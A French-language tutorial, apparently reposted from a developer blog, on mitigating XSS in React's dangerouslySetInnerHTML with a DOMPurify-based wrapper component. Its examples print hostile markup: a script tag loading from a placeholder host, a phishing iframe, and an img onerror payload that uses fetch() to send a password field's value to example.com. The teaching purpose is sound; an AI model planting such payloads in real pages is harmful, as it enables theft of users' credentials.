Maison >interface Web >js tutoriel >Atténuer les exploits XSS lors de l'utilisation de « dangereusement SetInnerHTML » de React

Atténuer les exploits XSS lors de l'utilisation de « dangereusement SetInnerHTML » de React

DDD
DDDoriginal
2024-09-13 06:35:32891parcourir

Mitigate XSS exploits when using React

Image de couverture par Lautaro Andreani

...

TL : DR; Déverser du contenu aveuglément dans SetInnerHTML de manière dangereuse est exactement cela : dangereux. Assurez-vous de nettoyer dangereusement toute entrée que vous transmettez à SetInnerHTML, sauf si vous avez un contrôle explicite sur l'entrée.

Le composant suivant sert d'exemple simple pour atténuer le risque d'une attaque XSS via dangereusement​SetInnerHTML :

//https://github.com/cure53/DOMPurify
import React from "react";
import DOMPurify from "dompurify";

const sanitize = (dirty) => DOMPurify.sanitize(dirty);

const DangerousHtml = ({ innerHTML, tag }) => {
  const clean = sanitize(innerHTML);

  if (typeof tag === "undefined") {
    return <div dangerouslySetInnerHTML={{ __html: clean }} />;
  }
  return <tag dangerouslySetInnerHTML={{ __html: clean }} />;
};

export default DangerousHtml;

En utilisant notre composant DangerousHtml sur mesure, nous pouvons réduire considérablement le risque d'un exploit XSS car nous nettoyons nos entrées avant qu'elles n'atteignent le prop dangereusement​SetInnerHTML

DOMPurify est également hautement configurable, il se peut donc que vous souhaitiez avoir plusieurs composants comme notre exemple pour gérer des cas d'utilisation spécifiques ou autoriser explicitement certains des exemples ci-dessous.

Vous trouverez ci-dessous quelques brefs exemples de la manière dont les exploits pourraient avoir lieu :

Exploiter les balises iFrame et de script

XSS est possible car React ne supprimera pas la balise de script qui pointe vers une charge utile malveillante.

Nous ne devrions vraiment pas non plus transmettre les iFrames de cette manière. Au lieu de cela, nous devrions transmettre l'URL et tout autre attribut "sûr" comme accessoire et le restituer nous-mêmes dans une balise iFrame pour conserver le contrôle de sa capacité de rendu et de sa source, ou disposer d'un composant iFrame dédié.

Par exemple, considérons le balisage malveillant suivant que nous avons reçu d'une requête API. Si nous le définissons aveuglément via dangereusement​SetInnerHTML, nous donnerons à l'utilisateur ce résultat :

// Bad markup going in
<div
  dangerouslySetInnerHTML={{
    __html: `<p>
  Hi
  <script src="https://example.com/malicious-tracking"></script>
  Fiona, here is the link to enter your bank details:
  <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
</p>`,
  }}
/>
<!-- Bad markup rendered on the DOM -->
<div>
  <p>
    Hi
    <script src="https://example.com/malicious-tracking"></script>
    Fiona, here is the link to enter your bank details:
    <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
  </p>
</div>

Cependant, en utilisant notre composant DangerousHTML à la place, cela signifie que nous avons atténué la plupart des risques auxquels l'utilisateur aurait pu être confronté :

// Bad markup going in
<DangerousHtml
  innerHTML={`<p>
  Hi
  <script src="https://example.com/malicious-tracking"></script>
  Fiona, here is the link to enter your bank details:
  <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
</p>`}
/>
<!-- Clean markup rendered on the DOM -->
<div>
  <p>Hi Fiona, here is the link to enter your bank details:</p>
</div>

Fiona peut penser que le site Web est défectueux ou qu'il manque du contenu pour une raison quelconque - mais c'est toujours mieux que de se faire hameçonner pour obtenir ses coordonnées bancaires !

Manipulation/empoisonnement d'attributs

Certains éléments du DOM ont des attributs spéciaux dont nous pouvons abuser et contre lesquels nous devons nous protéger.

Dans cet exemple, nous pouvons exécuter du JS sur une image C'est une erreur du tag.

Par exemple, étant donné ce qui suit :

// Bad markup going in
<div
  dangerouslySetInnerHTML={{
    __html: `
<p>
  Hola
  <img
    src='none.png'
    onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
  />
  Sharon
</p>`,
  }}
/>
<!-- Bad markup rendered on the DOM -->
<div>
  <p>
    Hola
    <img
      src="none.png"
      onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
    />
    Sharon
  </p>
</div>

Dans ce cas, notre balisage empoisonné vole des données du DOM lorsque la demande d'image échoue finalement et l'utilisateur ne le saura même jamais.

Nous pouvons à nouveau atténuer cela avec notre composant DangerousHtml

// Bad markup going in
<DangerousHtml
  innerHTML={`
<p>
  Hola
  <img
    src='none.png'
    onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
  />
  Sharon
</p>`}
/>
<!-- Clean markup rendered on the DOM -->
<div>
  <p>
    Hola
    <img src="none.png" />
    Sharon
  </p>
</div>

Étant donné l'argument selon lequel nous pourrions réellement vouloir exécuter du JS pour afficher une image de secours, nous ne devrions pas encore faire confiance au HTML brut et non aseptisé pour le faire à notre place et il serait préférable d'avoir un accessoire fallbackImageURL ou onError que nous peut explicitement ajouter à notre balise d'image comme ceci :

// Usual imports
const MyImageComponent = ({ fallbackUrl, url }) => {
  // Usual component setup

  const displayFallbackImage = (evt) => {
    // If there is no fallback, do nothing
    if (!fallbackUrl) return;

    // set the url to the fallbackUrl
    evt.target.src = fallbackUrl;
  };

  return (
    <img
      src={url}
      onerror={displayFallbackImage}
      // ... any other props
    />
  );
};

...

Article original : https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn